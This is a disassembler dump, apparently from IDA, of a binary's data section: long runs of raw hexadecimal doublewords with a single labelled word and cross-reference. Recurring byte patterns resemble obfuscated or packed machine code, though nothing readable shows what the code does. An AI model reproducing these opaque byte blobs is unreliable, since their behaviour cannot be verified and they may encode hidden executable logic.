		dd 48DA2781h, 0D3E01394h, 0C706983Ch, 2987A638h, 0B20734AAh
		dd 5B097472h, 1CBh, 0FA8FA2E8h,	1BE4C181h, 44BDE189h, 0D3A1B898h
		dd 2EA75B1Fh, 0A3C73A6Eh, 0B54A5D11h, 0D6297C3Ch, 45C43BB2h
		dd 0E992C862h, 0AE0F6566h, 333911ADh, 18CC1FD3h, 0E6631174h
		dd 89FB8426h, 616EE5E3h, 0DB58EA8Eh, 0D37D572Fh, 9236EA1Fh
		dd 91A20B6Eh, 0F17E99FCh, 0F7897631h, 0F50A9F4Fh, 3497BB63h
		dd 15ECBC7Ch, 21B7DB83h, 0F394B028h, 3A85h, 0BC7C1200h
		dd 0DB8315ECh, 0BACF64B7h, 68467C57h, 7B810CAEh, 3AE65F83h
		dd 1FD35E62h, 7CDE41F5h, 9F604509h, 7C0F763Ch, 8AF1EE46h
		dd 567AA07Ch, 343Bh, 0B9EEAE00h, 0A2BF2246h, 0C383FC91h
		dd 69980EE7h, 0F98B2FD7h, 7CCA2D51h, 0D3A1F8D0h, 1B8B4B1Fh
		dd 3BBC2E6h, 45097CA0h,	763C9F60h, 856E39F9h, 163ADE23h
		dd 0EE8FA2B3h, 2BA448B7h, 0D3A19B7Fh, 1992461Fh, 0A20CE490h
		dd 0EB9F1FD3h, 268135C7h, 45EB62D9h, 633A9D62h,	0D9B15DE6h
		dd 6C1FD3A1h, 0A23194B8h, 0FA83FC91h, 0D3A1764Eh, 3155091Fh
		dd 31F17ECEh, 0D0FA8C75h, 806E6AEAh, 7EA24693h,	0B06A5F1Bh
		dd 56C3F394h, 50000000h, 99FC91A2h, 0A1F8D07Ch,	0D78B1FD3h
		dd 5129D55Eh, 0E41FD3A1h, 7CA90C30h, 0D192BDF3h, 0FD0EFF50h
		dd 604576D9h, 0A1461ECAh, 25D91FD3h, 0F761E81h,	6F47F37Ch
		dd 21FD3A1h, 4F0F2A4Eh,	82000000h, 0A1754DF9h, 17911FD3h
		dd 7C28B1EAh, 1FD3A1A4h, 0BBDF8337h, 2791A258h,	0D3A1A37Bh
		dd 0DE82361Fh, 0F8D07C7Bh, 4B1FD3A1h, 51E31C8Bh, 54ADF9A9h
		dd 0E712930h, 0BFBDF37Ch, 0C4CA3B7Ah, 7CA3062Ah, 419AB546h
		dd 4A6E3B0Eh, 91F40B9Ah, 0BC7C0F76h, 0DD8517EAh, 0DC9EB9h
		dd 7C270000h, 0A16F47F3h, 4E021FD3h, 2F5AD72Ah,	0A12A0AB6h
		dd 19CD1FD3h, 5D4A0A87h, 446810A2h, 1B6A1394h, 27E15750h
		dd 65DC53F7h, 0E901467Ch, 46FBB6F5h, 0CA357222h, 68467C67h
		dd 0DC238232h, 0E37CA24Ah, 4BDD0125h, 47F37CE4h, 1FD3A16Fh
		dd 0D72A4E02h, 7CCE315Ch, 8618F7BCh, 0CC43BADEh, 94B06A5Fh
		dd 39C3F3h, 0A2500000h,	4BB6F091h, 5DA205B9h, 597F23CBh
		dd 349BD39Fh, 2D903481h, 0A1F8D07Ch, 0D78B1FD3h, 33F37C74h
		dd 86B8F80h, 14EBBC7Ch,	6B6DA82h, 76FD609Fh, 3CDA0Fh, 0A2630000h
		dd 0A37B2791h, 361FD3A1h, 7C7BDE82h, 0D3A1F8D0h, 8430BD1Fh
		dd 1FD3A1ACh, 84E78B3Fh, 0BE6AF37Ch, 1FD3A1E6h,	3EA1C579h
		dd 14EBBC7Ch, 2B882FEEh, 5D819D43h, 0A407F8ADh,	62450F76h
		dd 51570B9Dh, 327539B0h, 0A1744CF8h, 53071FD3h,	59FD02A3h
		dd 0A15527C7h, 0C8B1FD3h, 0A7584FD2h, 0EF3B6E2Eh, 0D3A16B43h
		dd 0A64AFE1Fh, 0D1486C14h, 0D3659A0Dh, 2816CC5h, 9D6245DCh
		dd 0CED99926h, 0DB248131h, 2A7DA149h, 630F880Dh, 15F0954Eh
		dd 0F59527DBh, 25F2D521h, 0FA8C7535h, 1DC96146h, 25F2D445h
		dd 0EE8024D8h, 3EEFEF6Ah, 0BE7D61E0h, 97471FBh,	3312h
		dd 62459F00h, 8EE249Dh,	34C34C73h, 6B0B9DC1h, 1FD2A993h
		dd 5B1E54D1h, 5C00DF1Bh, 0D50984A8h, 23CF5B4Ch,	1FD3804Bh
		dd 0F862ADEh, 18E7C282h, 57BADE86h, 249D6245h, 0A217EF9Bh
		dd 0F6AA1FD3h, 4EE940D2h, 8416C23Bh, 0F15F7C1h,	0BA7DE45Bh
		dd 0C218B055h, 4E745206h, 0D46F50h, 75EE921Dh, 1575B4C9h
		dd 0FB8D411Ch, 17B4875Bh, 706EED2Ch, 2F518ECBh,	0CE093F03h
		dd 2164AC44h, 21A94266h, 36000000h, 81FA8FA2h, 926D38F8h
		dd 0A25D4C00h, 963EDAFEh, 91FD3A1h, 8E1CDC55h, 12CDFC73h
		dd 56000000h, 81FA8FA2h, 0D3A1F1D5h, 6FE89C1Fh,	8F06FBAFh
		dd 0EBBC7C18h, 0DCCE8214h, 425D8125h, 1AEh, 0A8802CB5h
		dd 3B1FD3A1h, 0A2006387h, 4CB5F394h, 0FAA62FA8h, 1FD3A222h
		dd 0E2887FB5h, 87BC2EEh, 0DF4B464h, 0BC7C86E9h,	5FF115ECh
		dd 9D6245F8h, 7C077E3Ah, 8315ECBCh, 0DEB662DBh,	711FD3A1h
		dd 0C60399BDh, 87F394B0h, 0A27A52FEh, 590D22D3h, 3F9C35h
		dd 7C290000h, 0DCF21846h, 0E328BB0h, 0F5947BBBh, 1A9885EBh
		dd 93FB85Ch, 0F3A046DAh, 72D5F941h, 0A1F8D07Ch,	0D78B1FD3h
		dd 5129D55Eh, 0E41FD3A1h, 7CA90C30h, 9C654509h,	0DA0F7639h
		dd 3Ah,	7D94A263h, 891DB7CBh, 183EE678h, 0FEA2AF98h, 33F37C9Bh
		dd 46FA8C75h, 630B9D64h, 27FF9BBFh, 0EC1FD3A2h,	97CD134h
		dd 18906545h, 76E245E9h, 6F05C3F9h, 835F79F1h, 467CFC5Fh
		dd 0D4D4099Ah, 0CDF39B2Dh, 4468F964h, 0C7E01394h, 5AFEA638h
		dd 0A2FC63F7h, 0C383FC91h, 406919E6h, 61852DBFh, 0F7BC7CFEh
		dd 67DF418h, 94B06A5Fh,	5BC3F3h, 43A0000h, 840DF06Dh, 1648885h
		dd 0BE6AF37Ch, 1FD3A1E6h, 5129C579h, 0E41FD3A1h, 0D9288030h
		dd 0BCD162B5h, 6AF37C59h, 0D3A1E6BEh, 0A1C5791Fh, 0D3A22D05h
		dd 0E5C0801Fh, 9BDF61Ah, 2A467CA6h, 0FDB7CEC4h,	0F981135h
		dd 6EF2ECD9h, 8DB1922Bh, 9F60452Ah, 0DA0F763Ch,	1Dh, 0FC91A263h
		dd 0F8D07C99h, 0BD1FD3A1h, 0E7CC8C05h, 0CAEE9628h, 45097C67h
		dd 763C9F60h, 1C63450Fh, 0C33746BBh, 0E3751983h, 0FE01A666h
		dd 4A0C46Ch, 1FD3572Fh,	0A59FD552h, 5A8B41E9h, 8C52CDF1h
		dd 77EE1395h, 9AB6B4EAh, 9AE35C42h, 63451376h, 50580C9Eh
		dd 209B1FB1h, 0BC4563BEh, 0AC339545h, 0DD731FD3h, 0F6B4E9Dh
		dd 0FFFE3E32h, 7420A9FFh, 1FD3B39Ch, 0F4577B2Fh, 0D3A18559h
		dd 7D9AD01Fh, 91C1F9A6h, 75BF71Bh, 521FD38Ah, 58D0D81Ch
		dd 86AA4210h, 0D36017EAh, 4A4641Fh, 693DD9FDh, 911FD35Fh
		dd 1FD35FBDh, 0D36011E5h
		dd 0E0B5825Fh, 800B3167h, 5F9FDBCFh, 9355ACD1h,	597D218Eh
		dd 1C9757E0h, 95B961F3h, 0F4ED7BF9h, 0D86A1ED5h, 5AD3B681h
		dd 33B38724h, 8C48238Ah, 7BC8EE0Fh, 0D4D1812Fh,	0E28E072Bh
		dd 0DC12243Dh, 2CCF36EAh, 193A67C9h, 2F56483h, 0FDAF0000h
		dd 0DCC98D04h, 0C2E8AC23h, 0A504C83Fh, 871FE35Ah, 0FDB7037Ah
		dd 0DC53AEF8h, 0FD749B18h, 1B926F39h, 38AF5057h, 724AF66Fh
		dd 519AF39h, 0BC7C5ACDh, 0CC8012EDh, 0E89022DDh, 37702044h
		dd 0F9B936C8h, 19C153ACh, 0F495A2F5h, 2EA74BB6h, 50E108F8h
		dd 0C2E67DE4h, 850F9D49h, 0C95215F7h, 0F7C4451Dh, 24D825h
		dd 0F9C13C7h, 3B765086h, 0BB823DF2h, 0F85E471Fh, 226DA25h
		dd 0F85E9266h, 61340325h, 0B9F5FE8h, 98BC64F6h,	1C7F02FCh
		dd 70E99D1Ch, 3A8EBE3Ah, 1DFB6B7Fh, 20B5DB8Fh, 9710349Ch
		dd 0B82FD0D7h, 0DFCAB3F4h, 0F9C05B27h, 0F8D4F25Eh, 33C4A5D2h
		dd 4A80FD8Fh, 0DF5A49DEh, 1DB9DDF0h, 2C1CDF41h,	921475C2h
		dd 9135DD6Fh, 0FFD66C18h, 0A0292240h, 41401CF4h, 0D7FBAF32h
		dd 0B171EA9Eh, 59209F6h, 6C59EECFh, 2E52ED90h, 5DD6297Eh
		dd 0D1F50A9Dh, 3A4FE83Fh, 0DD0B8BC1h, 34A6C487h, 59EB9710h
		dd 0E428652Ah, 6E2EB730h, 532BC73Ah, 0E638656Ah, 0EA7C8326h
		dd 0E87A9E42h, 0CFD7A691h, 0EF818026h, 86FFA347h, 936C3DFDh
		dd 8AD5D36Fh, 0C4782E89h, 0E31C8B4Bh, 0FFA86Ch,	0BC68F16Eh
		dd 3E89CAE4h, 39FC377h,	3E89E52Fh, 79F297A0h, 0AE053FCDh
		dd 0E7C28234h, 0BADE8618h, 9454CD81h, 0B35BED14h, 91A6FD8Fh
		dd 82D783FCh, 0F3ACB4Fh, 0A719F45Bh, 9E34DCDEh,	1767Fh
		dd 857C3000h, 0A45B4A0Eh, 0C041692Dh, 0DB248549h, 0FB06A064h
		dd 777E3884h, 975BD22Fh, 0B87CF31Ch, 0D69A11F0h, 0EEB72ED1h
		dd 37F1C975h, 4C8419AFh, 95A2D9h, 15DEC787h, 32DA6C95h
		dd 9169158Eh, 241FD3A1h, 27D34C70h, 15F7C199h, 7FD6681Ch
		dd 0B05CD5B8h, 1C151367h, 97EFA6DCh, 0BF6BC18Bh, 0D567980Fh
		dd 0DD22892Dh, 58FA64C7h, 105A3C2h, 0EDBF0000h,	0CCD99D14h
		dd 0B2F8BC33h, 9514D84Fh, 772FF36Ah, 0DC7138Ah,	0EC639E08h
		dd 0D848B28h, 2BA25F49h, 48BF4067h, 825A067Fh, 1519AF37h
		dd 95A26ADDh, 6742B1F4h, 0CF7BF498h, 1FD3A1F7h,	0B932D68Ah
		dd 0F7C1770Dh, 0C4560A15h, 0EF689710h, 6589762Fh, 827D2AEEh
		dd 0EB9E99F0h, 653DE972h, 0F825F801h, 0FBA72044h, 1C1C2201h
		dd 0AD71E89Ch, 0CC9007F8h, 0E8AC23DEh, 3C73EC1h, 5DD89A3h
		dd 982C1C62h, 9C8EBEE4h, 0C2EB046Ah, 0CEE5A51Eh, 0E307AF41h
		dd 861FDF6Ch, 0AB1BAFF7h, 57FB00FDh, 49F91DC5h,	0A22BA45Dh
		dd 1C2C1EF6h, 0D9FDB12Ch, 0A04CD562h, 2C1C2BC8h, 0D383A75Bh
		dd 2BB82FE0h, 2C1EF6A2h, 0EBC42C1Ch, 0FC6E87C3h, 7DA1558Eh
		dd 8C1ADBCDh, 772FE375h, 0AC50F88Ah, 0CE049108h, 0E67CF4F8h
		dd 30E004EAh, 4D118877h, 0CB32A966h, 4B0296Ch, 223FF80Ah
		dd 0AB5FF1A5h, 5D8C03FCh, 3, 4540A7E6h,	54089A67h, 661AAC53h
		dd 792DBF42h, 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h
		dd 0DA8E20E1h, 86A234CBh, 81E38953h, 4C3h, 4EB8300h, 8B241C87h
		dd 75682424h, 89000003h, 34682434h, 89000062h, 7268241Ch
		dd 8B062460h, 0C4812434h, 4, 4B3D68h, 24248900h, 4240483h
		dd 8B9515Bh, 1000000h, 8B3189D9h, 0C483240Ch, 241C8B04h
		dd 5E08950h, 4,	405h, 24048700h, 24348B5Ch, 81E68956h
		dd 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0FFFB1156h, 6BB0B878h
		dd 0C5030624h, 3CE9C38Bh, 0F9000001h, 0D5B58DFCh, 0F06246Ch
		dd 780h, 61606000h, 6140CD80h, 4BA8858Dh, 6A0622h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 15F3BFC3h, 1890FEBh,	0F8000000h, 0FF5D0FFh, 0D89h, 8E900h
		dd 546B0000h, 5E23D927h, 6AC3AADFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 69DC350h
		dd 600CD3A3h, 0F08B6660h, 0BA61D08Bh, 1B8A555Dh, 0FE961h
		dd 0B77B0000h, 0B8D9FA71h, 0BC67F2BAh, 0E5D9117Bh, 0D98C6639h
		dd 5880Fh, 0F600000h, 0F561C8B7h, 0F04C1F6h, 4A84h, 0D7816000h
		dd 7DA635D0h, 48E0Fh, 0BF660000h, 8B61000Ah, 32CB8BFBh
		dd 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h
		dd 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh,	0FA75490Ah
		dd 1B8h, 8B09EB00h, 0B8E4EB00h,	0
		dd 0EE9F8CFh, 2F000000h, 160F0AA3h, 401AE8A7h, 4530B784h
		dd 55006A9Ch, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 53EE074Eh, 0E8FFD898h, 0C7FC6FC2h, 246D1785h
		dd 1013F06h, 0CE800h, 0B41C0000h, 87E3F30Dh, 48A94F9Bh
		dd 0FBB85B41h, 5F236CEAh, 81F2DF80h, 7608C7h, 890F5100h
		dd 19h,	14E9h, 0DD29FD00h, 0B1E03F26h, 0F11D5C36h, 8F1984B2h
		dd 50A616DCh, 0C92B5BA9h, 34FF22B0h, 18A0F39h, 0F9000000h
		dd 0B1BE505Ah, 583F511Eh, 0F6D3EA81h, 0BF6052E4h, 7523DDF5h
		dd 14E8h, 4E223B00h, 46D054C6h,	511B3F47h, 696D1782h, 898A305h
		dd 850F4Fh, 59000000h, 3FEA8161h, 814BF1EDh, 72C2F5DBh
		dd 0B7F28176h, 0FC129221h, 0F0F1489h, 586h, 0D8816600h
		dd 12E9B943h, 64000000h, 42D090DFh, 0F92C04F9h,	0D3CE78BEh
		dd 0DE486089h, 0E3E98124h, 0E94DFFCFh, 9, 77C35E3Fh, 677739C1h
		dd 0DFC1812Bh, 8B4DFFCFh, 0FCF981C6h, 0FFFFF8Ah, 0E85h
		dd 0E9E4B700h, 22h, 0C348CBB4h,	0F6F82B9h, 8Ah,	0FF48E900h
		dd 0E301FFFFh, 0B4BB82CDh, 9EB5F692h, 93245990h, 8D8D4B87h
		dd 6246F7Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	6EC35747h, 0A1DB29D3h, 0AD9D4901h, 8D895000h, 61F0035h
		dd 89F38A58h, 1F0B5D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0C543737Bh, 0C7DCC7BFh
		dd 1F20C585h, 58F406h, 85C7F900h, 61F137Dh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 55C35747h
		dd 3806D094h, 0FF3A316Fh, 1F1545B5h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 1F2C464h, 0E82C10B4h
		dd 12h,	59CC3E52h, 0EEBABC18h, 3E3F8488h, 23FD3917h, 0B70F0D62h
		dd 85235FD0h, 61F158Dh,	2D5995FFh, 8166061Fh, 6A4383CBh
		dd 4595FF00h, 8B061F1Dh, 165FEBC0h, 0C25358A5h,	6EDFC278h
		dd 2DFCC8E5h, 4A7354D7h, 0CCE66517h, 0CCAFB5E1h, 2B7B8EF8h
		dd 45CA1387h, 472C0AAEh, 9AC935B5h, 29B83E26h, 41457F82h
		dd 0CA2C5F2Eh, 2A7F61D8h, 13229E77h, 2C0B5EF7h,	555B6CD6h
		dd 24C7178Ch, 0C833C131h, 0D7605E4Ah, 490F63B1h, 7674E763h
		dd 0A8B9F941h, 8D8D4254h, 624711Ah, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 37C35040h, 0A8165647h, 10E9h
		dd 10B37300h, 0BA59B95h, 23473ACDh, 0F86AD9ACh,	5D8D890Ch
		dd 6A061F0Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 2C5DC355h, 8DB58B40h, 0C7061F1Dh
		dd 1F20C585h, 675006h, 0D6816600h, 95331E19h, 61F2FA5h
		dd 137D85C7h, 61Fh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0CA02D8C3h, 8B1336DEh
		dd 0F34AC90h, 0FE9C2BFh, 3000000h, 0FD78A3A5h, 0F2E4E02Ch
		dd 95B19161h, 0B5FFE502h, 61F105Dh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0F2C35242h,	8B72C4E4h, 1F0D6D95h
		dd 0E995B206h, 0Dh, 0EF84C81h, 5C2AC205h, 0ADC68931h, 5995FFBBh
		dd 6A061F2Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 533C351h, 566F6D15h, 0CDA8B866h
		dd 498D895Eh, 6A061F2Ah, 4595FF00h, 8B061F1Dh, 0BA1BEBC0h
		dd 0A683E6A2h, 7B3E3B3Bh, 5E97867Bh, 16396EABh,	4C049919h
		dd 0D2E2F1EDh, 3CE97C2Bh, 1, 45h dup(0)
		db 2 dup(0)
word_584F4E	dw 0			; DATA XREF: ___:0042BEA8o
		dd 8 dup(0)
		dd 83000000h, 1F0DE1BDh, 840F0106h, 58Ah, 0FE9F9h, 0B420000h
		dd 0C8DEC450h, 0FF2F158Fh, 448706B9h, 2585C6C5h, 43061F20h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6C35747h
		dd 46F768B3h, 880F98ABh, 12h, 8E0F5250h, 0
		dd 5250310Fh, 585A310Fh, 481585Ah, 0FA89FE24h, 55006A53h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8C0F2DB6h, 0Ah, 0FD08B60h, 85h, 0B5FF6100h, 61F3271h
		dd 1800Fh, 0FFC0000h, 68Bh, 59516000h, 8D61CB8Bh, 22799385h
		dd 0D0FFF906h, 8860Fh, 81600000h, 0E0515FE9h, 0E860617Ah
		dd 12h,	63E9B15Dh, 778AB247h, 0C792777Eh, 2928E679h, 8B661992h
		dd 0B70F59CEh, 858961DEh, 61F1A45h, 0CE9h, 0B8255800h
		dd 9F43ED76h, 3EED1340h, 2585C635h, 50061F20h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 23C35040h, 4B01933Eh
		dd 73B96876h, 0BF602F74h, 6B8D31D7h, 480EBF50h,	615E793Fh
		dd 9D240481h, 60793939h, 939ABE60h, 0B8665A63h,	616125D2h
		dd 0B8C0Fh, 6E90000h, 2D000000h, 7AE3388Ah, 71B5FF94h
		dd 0F8061F32h, 7993858Dh, 8C0F0622h, 1,	0E9D0FFF5h, 5
		dd 3A1D4784h, 0EE937h, 16EC0000h, 0EACE11F6h, 0FE4DBE6h
		dd 2FA0F5C0h, 30818589h, 0E8F5061Fh, 4,	0F08FA82Fh, 138A0Fh
		dd 0EE90000h, 0D000000h, 0A970BA46h, 0F63721DBh, 3A7CC040h
		dd 52505070h, 52505250h, 585A310Fh, 5250310Fh, 585A310Fh
		dd 310F585Ah, 9E9h, 0E1AE2A00h,	913C1EC7h, 585A3646h, 424448Bh
		dd 0DE9h, 9D7C5900h, 0BD305FA2h, 869FD9BBh, 8B9FC3h, 0F840Fh
		dd 0AE90000h, 38000000h, 10498AE4h, 0AE72C8ABh,	244489F9h
		dd 9E904h, 0A9B20000h, 467967B5h, 5834EE6Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5DC35646h, 9E917h
		dd 0F9710000h, 0AF12CC09h, 0FF5E8AA3h, 1F3271B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0EF1BAD26h, 8860C9ABh, 1890FF8h, 0F9000000h,	7993858Dh
		dd 0DE90622h, 0C000000h, 2A317FCEh, 0DEF90C29h,	2C5C17EBh
		dd 89F9D0FFh, 1F18B985h, 85C6F506h, 61F2025h, 78B0F50h
		dd 0F000000h, 18Fh, 4E8F800h, 56000000h, 0F979CDCh, 1689h
		dd 11E900h, 12C50000h, 2BC0A5CEh, 989E6DCAh, 0EB07C13Dh
		dd 50A6960Eh, 0BE666060h, 66616A45h, 61E28CBAh,	424448Bh
		dd 0E85A5660h, 14h, 9A3C3924h, 126E221Bh, 0DAC255A9h, 7F571CF8h
		dd 5074B00h, 0EE9h, 4B08B400h, 0ADD0410Fh, 592D1695h, 5EACC91Fh
		dd 60008B61h, 28D0Fh, 5F510000h, 8961C18Bh, 0E9042444h
		dd 8, 0D078A008h, 163F6C3Ah, 53006A58h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 57F4CDF5h
		dd 8E0FD107h, 11h, 0CE9h, 2EA2F200h, 495F317Ah,	0BF414413h
		dd 0D9B5FF63h, 0E9061F20h, 13h,	818559Fh, 6FEDEACFh, 6478445Ch
		dd 0C409E118h, 8DFBA081h, 1F394D85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0DE906h, 73F60000h
		dd 6625E66Ch, 95417ADEh, 0E9B14652h, 7,	0DEC4500Bh, 0FF158FC8h
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0A3DE013Ch, 6660F56Bh, 66C57DBAh, 6108AFBEh
		dd 24818589h, 880F061Fh, 1, 188E9F8h, 0E9FC0000h, 0Fh
		dd 5B85A605h, 6F746E6Ch, 28E2377Dh, 9538AD85h, 0C68B6060h
		dd 6E9h, 19CF8D00h, 61C23E70h, 5061F88Bh, 0B8665760h, 665AD1C8h
		dd 616A28BAh, 8E995h, 243C0000h, 34342E54h, 0EC8BD0CAh
		dd 0EA2CBB60h, 0F5266EEh, 8Ah, 83615F00h, 6AFCC4h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0EE964C3h, 7F000000h, 0B5B3E6D2h, 0D2DF96A9h, 3B7A5886h
		dd 816660DFh, 0FCCA55F1h, 8D0F6061h, 1,	0E8F8h,	815A0000h
		dd 247726EAh, 0FC45C706h, 0
		dd 0DE1BA83h, 0F01061Fh, 9884h,	6A5200h, 92FF0F6Ah, 61F1A45h
		dd 3F82895Ah, 8D062471h, 2471439Ah, 3C75206h, 128h, 92FF5053h
		dd 61F3081h, 9A8D525Ah,	6247143h, 3FB2FF53h, 0FF062471h
		dd 1F248192h, 0C00B5A06h, 9A8D5074h, 6247143h, 33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 11BA8D0Ch, 8B061F21h, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 1F211182h, 92FF5006h, 61F18B9h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 12E900h, 70180000h, 7F6D2527h, 59ED8446h, 5D5DA15Fh
		dd 0AFE7D4E1h, 13830Fh,	0EE90000h, 6E000000h, 0FC59783Fh
		dd 0FA3B37CCh, 0CF818D6Bh, 0D28BFC6Dh, 6E8h, 9DDAA900h
		dd 0E90007A0h, 0Fh, 75A2E360h, 92C5BCB9h, 0FB87833Dh, 59865DE0h
		dd 0DE8h, 9B9F8400h, 14486627h,	1F1EE8CBh, 0BB6678A4h
		dd 815E20C8h, 75C1C1h, 2820F00h, 8B000000h, 0E9FF2BC7h
		dd 8, 4CB34FC5h, 3FD4F9F2h, 0F839148Bh,	8181EA81h, 0BF0F6568h
		dd 8FEA81F6h, 8179A593h, 97D254C2h, 0D881666Dh,	0F5270F6h
		dd 1C8Eh, 14E800h, 69240000h, 36AA0F6Eh, 0A5112F47h, 202D6759h
		dd 43608AE5h, 616015E0h, 39048F58h, 6056CB80h, 60616060h
		dd 83616161h, 0FF8104EFh, 0FFFF8B1Ch, 10850Fh, 0E6810000h
		dd 45FB07C4h, 29E9h, 9D269B00h,	870F8E14h, 6, 840Fh, 81E90000h
		dd 80FFFFFFh, 0BE851BD3h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h
		dd 13E8E2C9h, 44000000h, 0DBD4E542h, 0BF8C7DA2h, 55D39A04h
		dd 0F3F16C74h, 5BF50E27h, 4713DAB8h, 0D2C38110h, 8B000061h
		dd 68F3h, 0CB90000h, 5F5DDC77h,	11E9h, 4E165400h, 9E318BB2h
		dd 9E3FA434h, 369BF0FAh, 34FF9E96h, 5A1BB11Fh, 4A06C281h
		dd 890F14DBh, 0Eh, 810F60h, 81000000h, 2BA231CAh, 0C281613Eh
		dd 27FFA42Fh, 4005B866h, 66C281h, 0F0B8473Dh, 89488D49h
		dd 5E93B14h, 0DF000000h, 0A00A4A2Ch, 0FE8h, 416CE400h
		dd 0A5BF7397h, 2245D6E7h, 0EA040FE8h, 0EF8359F8h, 7E901h
		dd 0CECB0000h, 0F507FBFCh, 4F4F4F5Dh, 81C8BF0Fh, 0FF9F04FFh
		dd 0E850FFFh, 0F5000000h, 18E9h, 0D6463100h, 63807E96h
		dd 0E9E1B14Ch, 0FFFFFF72h, 0FCD3D398h, 5B49178Eh, 0CF13CC50h
		dd 0A34A0DE8h, 56AE63A4h, 427121F0h, 3E354204h,	0EF70F878h
		dd 0AC85D7FEh, 0D2857083h, 99241F31h, 0ED787746h, 1A884A22h
		dd 0EE33FB3Fh, 0EF29F73Eh, 8F673931h, 0EF3594D9h, 96DD1231h
		dd 55A2A5E0h, 0B654CD06h, 6E57E3Eh, 0EF35E76Ch,	52B69EBBh
		dd 0E92A1350h, 0A2B19331h, 85354E31h, 0ECDD7131h, 0CF359331h
		dd 666B0A6Fh, 6E31C045h, 0F3315675h, 0A9353931h, 2865F67h
		dd 7AB879EFh, 0E0756747h, 0EF3591B6h, 6EC7B31h,	0EF35E72Ch
		dd 766725Bh, 0EF353932h, 0B4F6C711h, 0EB1112B8h, 0EB1163B0h
		dd 0EF359325h, 0F4F69A72h, 96CC61BCh, 0E1DD7415h, 6D353931h
		dd 1BC0300Eh, 0F004742Eh, 66887960h, 0EFBE9C0Bh, 0B635C931h
		dd 0BFFB6EA1h, 6295C4A1h, 0CB4CE2B4h, 0EF3E7537h, 50D44E31h
		dd 4CA29672h, 4C8705C3h, 6C3A59EEh, 0EF35E424h,	0EF357FD9h
		dd 15681531h, 0E5D3670Ch, 1F31C325h, 16BE2714h,	653AC36Fh
		dd 0EF35C933h, 6A59484h, 0EF357238h, 6FF732B5h,	46E672B6h
		dd 0CEA0B125h, 5533382Eh, 0D0E211C7h, 0EF5F09BAh, 0EF360C63h
		dd 0B5157231h, 0BBBC63F2h, 0ABB49815h, 0EF2E4A15h, 0BD772731h
		dd 43D700F2h, 5AF8D51Fh, 0A08A8212h, 2E88F14Eh,	0EF332637h
		dd 52B69544h, 0E92A5160h, 0BF2C5331h, 57F51862h, 0EF35CD4Bh
		dd 0E05061B8h, 72B8742Eh, 0E9149695h, 0B76E4FCEh, 0F064F3B2h
		dd 9B35212Eh, 5766C326h, 0EF35CD4Bh, 0E05061B8h, 72B8742Eh
		dd 0E91495A2h, 0B76E4FCEh, 7654E5Bh, 0EF352732h, 0B7F6CB11h
		dd 0EB118DB8h, 0EB11A0B0h, 0EF357224h, 0C1F66971h, 5D6F2378h
		dd 2FBE74CEh, 90081B88h, 0CA81E36h, 8533ED48h, 0ECDDB331h
		dd 0CF357231h, 666AFA6Eh, 6E31B84Dh, 0F7316A75h, 0A8352731h
		dd 0AC085066h, 0E063639Eh, 0EF35E4B9h, 0EFBE7D31h, 62353931h
		dd 0CB59A1B4h, 0ECB84137h, 6F352731h, 3FCA6CDFh, 0EF37473Eh
		dd 0F987E431h, 6B3AB23Ah, 0EF353917h, 0EF33143Eh, 30B44E31h
		dd 839A5141h, 0A2850EBCh, 5153CF2Eh, 503AF7B3h,	0EF36CAFBh
		dd 0CCA3931h, 34DE7BB0h, 72B8404Ah, 0E9115EDAh,	0D2B01EC9h
		dd 8533ED5Dh, 0ECDDB531h, 0CF357231h, 666CFA68h, 6E31B87Dh
		dd 0F9316A75h, 0AE352731h, 0E6BF5060h, 6E5368Eh, 0EF35E434h
		dd 2810339Bh, 0E0F532B3h, 0EF35FCB5h, 0EFBF4131h, 62352731h
		dd 0F07823ACh, 0EF347137h, 0EF5FE431h, 0EF369A62h, 0B4153931h
		dd 0B3BCC7F2h, 0ABB44A15h, 0EF202315h, 0BC769331h, 107484F2h
		dd 0BF358ED2h, 0EF3571D9h, 2C6D1931h, 0CB711569h, 0CB71CF35h
		dd 0EF353035h, 2C65D331h, 3A336EE5h, 0EF3E673Eh, 0E0557231h
